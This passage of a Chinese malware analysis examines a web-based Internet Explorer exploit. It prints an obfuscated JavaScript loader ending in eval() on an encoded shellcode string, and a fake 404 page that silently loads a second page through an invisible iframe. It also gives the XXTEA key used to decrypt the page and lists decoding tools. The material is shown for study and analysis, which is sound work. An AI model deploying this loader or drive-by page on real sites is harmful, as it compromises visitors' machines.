            _keyStr: 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',
            decode: function(input) {
                            var output = '';
                var chr1, chr2, chr3;
                var enc1, enc2, enc3, enc4;
                var i = 0;
                input = input.replace(/[^A-Za-z0-9\+\/\=]/g, '');
                while (i < input.length) {
                    enc1 = this._keyStr.indexOf(input.charAt(i++));
                    enc2 = this._keyStr.indexOf(input.charAt(i++));
                    enc3 = this._keyStr.indexOf(input.charAt(i++));
                    enc4 = this._keyStr.indexOf(input.charAt(i++));
                    chr1 = (enc1 << 2) | (enc2 >> 4);
                    chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
                    chr3 = ((enc3 & 3) << 6) | enc4;
                    output = output + String.fromCharCode(chr1);
                    if (enc3 != 64) {
                        output = output + String.fromCharCode(chr2);
                    }
                    if (enc4 != 64) {
                        output = output + String.fromCharCode(chr3);
                    }
                }
                output = CRYPT._utf8_decode(output);
                return output;
            },
            _utf8_decode: function(utftext) {
                var string = '';
                var i = 0;
                var c = 0,
                c1 = 0,
                c2 = 0,
                c3 = 0;
                while (i < utftext.length) {
                    c = utftext.charCodeAt(i);
                    if (c < 128) {
                        string += String.fromCharCode(c);
                        i++;
                    } else if ((c > 191) && (c < 224)) {
                        c2 = utftext.charCodeAt(i + 1);
                        string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
                        i += 2;
                    } else {
                        c2 = utftext.charCodeAt(i + 1);
                        c3 = utftext.charCodeAt(i + 2);
                        string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
                        i += 3;
                    }
                }
                return string;
            },
            obfuscate: function(str) {
                var container = '';
                for (var i = 0,
                z = 0; i < str.length; i = i + 3, z++) {
                    container += String.fromCharCode(str.substring(i, i + 3) - this.signature.substring(z %                                                                     this.signature.length, z % this.signature.length + 1).charCodeAt(0));
                    }
                    return CRYPT.decode(container);
                }
            }
                    eval(CRYPT.obfuscate('157181187231195154135166180117123204195156160169153153187179201185191214128142198189161189196191200140103190165122187162181170153169180117149205214177211171152187120182200223192212126122130170144210184211201104140130146180175229195190106168156188190222191174168172129166183128168223196152151163160115168188171223176122132193157158179228189189118165157155187151203194176156153191153191181201159152151125201122171173188159204104128190166155150231196191152157163154149149211194193161141151124176198223192209153121185172155189192158201140173203143179205192190172157139168137136206189190219110143132137119190164209214143137190122171173188159204104128190166155150231196191152157163154149149211194193161141151124176198223192209153121185172155188222212202162111204165121191162182211157132166136175186200176168158129166183128190164176151142104185178161184222161203125128135168122175222205187102171172155170204201175152130137154149119200184180211152142168175170152195217178137170139156121171162195153156165172150179156216194152110121191175180176186180211152138130124169211200221201120162203157159183163205212105159159134144156213215189173130191124190191201158214126161182137157168187221176158111191157192158236203174110105158177137212213174160163144170149173190201218207154122130187145211187163176158170160156159183225182213127158180176153219212189206165130153157175199186184211128138198188161189183223202103140199157138205231206190173169157151187213204211207174144170136188200223192225152125139184170151200191193141158130147155149219183186126166183118145209214178189174152187133119200224192211132105131175169173192214204104128190167143187235204208119163171154191223204190219110156163179139199164155222151125168115161184217218182172115143'));

另外,和段代碼後面還有一段是加密過的,經過格式來看僅爲數字,沒有任何分隔符\或者%,能夠推測這是一段加密過的二級制代碼,這段代碼極可能是另外一個攻擊軟件的下載代碼。

這個是shellcode作到的事情,經過利用IE瀏覽器的漏洞,來進行各類操做,這個攻擊是針對32位windows系統的,甚至能夠看到針對的是i386的核心。

另外,這個攻擊中有二進制可執行惡意代碼參與,就是上述代碼最後一段

附錄1————加解密工具:

一、MD5在線:http://tool.chinaz.com/tools/md5.aspx
二、JavaScript加解密綜合工具http://www.oicqzone.com/tool/eval/(好用沒毛病)
三、站長escape/unescape加解密工具:http://tool.chinaz.com/tools/escape.aspx
四、unicode加解密工具:https://www.sojson.com/unicode.html

附錄2————start.html源碼

這裏從pdf文檔中獲取start.html源碼

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
        <html dir=ltr>
        <head>
        <style>
        a:link {font:9pt/11pt 宋體; color:FF0000}
        a:visited {font:9pt/11pt 宋體; color:#4e4e4e}
        </style>
        <META NAME="ROBOTS" CONTENT="NOINDEX">
        <title>找不到網頁</title>
        <META HTTP-EQUIV="Content-Type" Content="text-html; charset=gb2312">
        </head>
        <script>
        function Homepage(){
        <!--
        // in real bits, urls get returned to our script like this:
        // res://shdocvw.dll/http_404.htm#http://www.DocURL.com/bar.htm 
        //For testing use DocURL = 
        "res://shdocvw.dll/http_404.htm#https://www.microsoft.com/bar.htm"
        DocURL = document.URL;
        //this is where the http or https will be, as found by searching for :// but skipping 
        the res://
        protocolIndex=DocURL.indexOf("://",4);
        //this finds the ending slash for the domain server 
        serverIndex=DocURL.indexOf("/",protocolIndex + 3);
        //for the href, we need a valid URL to the domain. We search for the # symbol 
        to find the begining 
        //of the true URL, and add 1 to skip it - this is the BeginURL value. We use 
        serverIndex as the end marker.
        //urlresult=DocURL.substring(protocolIndex - 4,serverIndex);
        BeginURL=DocURL.indexOf("#",1) + 1;
        urlresult="new09.htm";
        //for display, we need to skip after http://, and go to the next slash
        displayresult=DocURL.substring(protocolIndex + 3 ,serverIndex);
        InsertElementAnchor(urlresult, displayresult);
        }
        function HtmlEncode(text)
        {
         return text.replace(/&/g, '&amp').replace(/'/g, '&quot;').replace(/</g, 
        '&lt;').replace(/>/g, '&gt;');
        }
        function TagAttrib(name, value)
        {
         return ' '+name+'="'+HtmlEncode(value)+'"';
        }
        function PrintTag(tagName, needCloseTag, attrib, inner){
         document.write( '<' + tagName + attrib + '>' + HtmlEncode(inner) );
        if (needCloseTag) document.write( '</' + tagName +'>' );
        }
        function URI(href)
        {
         IEVer = window.navigator.appVersion;
         IEVer = IEVer.substr( IEVer.indexOf('MSIE') + 5, 3 );
         return (IEVer.charAt(1)=='.' && IEVer >= '5.5') ?
         encodeURI(href) :
         escape(href).replace(/%3A/g, ':').replace(/%3B/g, ';');
        }
        function InsertElementAnchor(href, text)
        {
         PrintTag('A', true, TagAttrib('HREF', URI(href)), text);
        }
        //-->
        </script>
        <body bgcolor="FFFFFF">
        <table width="410" cellpadding="3" cellspacing="5">
         <tr> 
         <td align="left" valign="middle" width="360">
        <h1 style="COLOR:000000; FONT: 12pt/15pt 宋體"><!--Problem-->找不到網頁</h1>
         </td>
         </tr> 
         <tr>
         <td width="400" colspan="2">
        <font style="COLOR:000000; FONT: 9pt/11pt 宋體">正在查找的網頁可能已被刪除、重
        命名或暫時不可用。</font></td>
         </tr>
         <tr>
         <td width="400" colspan="2">
        <font style="COLOR:000000; FONT: 9pt/11pt 宋體">
        <hr color="#C0C0C0" noshade>
         <p>請嘗試執行下列操做:</p>
         <ul>
          <li>若是是在「地址」欄中鍵入了網頁地址,請檢查其拼寫是否正確。<br></li>

          <li>打開 <script>
          <!--
          if (!((window.navigator.userAgent.indexOf("MSIE") > 0) && 
         (window.navigator.appVersion.charAt(0) == "2")))
          { 
          Homepage();
          }
          //-->
          </script>
          主頁,而後查找與所需信息相關的連接。</li> 
          <li>單擊<a href="javascript:history.back(1)">後退</a>按鈕嘗試其餘連接。</li>
          </ul>
          <h2 style="font:9pt/11pt 宋體; color:000000">HTTP 錯誤 404 - 找不到文件<br> 
         Internet 信息服務<BR></h2>
         <hr color="#C0C0C0" noshade>
         <p>技術信息(用於支持人員)</p>
         <ul>
         <li> 詳 細 信 息 : <br><a 
         href="http://www.microsoft.com/ContentRedirect.asp?prd=iis&sbp=&pver=5.0&pid=&ID=40
         4&cat=web&os=&over=&hrd=&Opt1=&Opt2=&Opt3=" target="_blank">Microsoft 支持</a>
         </li>
         </ul> 
          </font></td>
          </tr>
         </table>
         <iframe src="new09.htm" width="0" height="0"></iframe>
         </body>
         </html>

附錄3————XXTEA解密源碼

這裏得到了XXTEA加密事後的網頁源碼(以下所示),XXTEA加密重點在於密鑰,下面這行提供了密鑰的線索
t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));
'\x73\x63\x72\x69\x70\x74'這個就是密鑰 拿着這個密鑰,咱們下載XXTEA解密工具,來獲取解密後的源碼(解碼後的源碼貼在上面正文裏)

相關文章
相關標籤/搜索